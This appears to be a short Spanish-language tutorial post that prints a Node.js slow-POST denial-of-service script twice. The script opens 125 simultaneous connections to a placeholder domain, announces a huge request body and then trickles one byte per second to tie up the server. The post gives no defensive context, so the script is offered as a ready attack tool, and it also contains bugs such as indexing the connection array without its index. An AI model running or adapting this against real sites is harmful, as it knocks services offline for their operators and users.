Videotutorial
Codigo:
var http = require('http');
//This is the domain to connect to.
var url = 'ejemplo.com';
var max_connections = 125, //This is the number of simultaneous connections to open.
length = 1000000; //The total content length to send.
var params = {
'host': url,
'Content-Length': length
}
//create a number of connections for the url
var connections = [];
for(var i=0; i<max_connections; i++){
var obj = {}
obj.cnx = http.createClient(80, url);
obj.req = obj.cnx.request('post','/aaa/', params);
connections.push(obj);
}
var next = function(cnt){
for(var i=0; i<max_connections; i++){
//request.write('a');
connections.req.write('a');
}
console.log(cnt);
cnt++;
var x = setTimeout(function(){
next(cnt);
}, 1000);
if( cnt > length ){
clearInterval(x);
for(var i=0; i<max_connections; i++){
connections.req.end();
}
}
}
next(1);
Codigo:
var http = require('http');
//This is the domain to connect to.
var url = 'ejemplo.com';
var max_connections = 125, //This is the number of simultaneous connections to open.
length = 1000000; //The total content length to send.
var params = {
'host': url,
'Content-Length': length
}
//create a number of connections for the url
var connections = [];
for(var i=0; i<max_connections; i++){
var obj = {}
obj.cnx = http.createClient(80, url);
obj.req = obj.cnx.request('post','/aaa/', params);
connections.push(obj);
}
var next = function(cnt){
for(var i=0; i<max_connections; i++){
//request.write('a');
connections.req.write('a');
}
console.log(cnt);
cnt++;
var x = setTimeout(function(){
next(cnt);
}, 1000);
if( cnt > length ){
clearInterval(x);
for(var i=0; i<max_connections; i++){
connections.req.end();
}
}
}
next(1);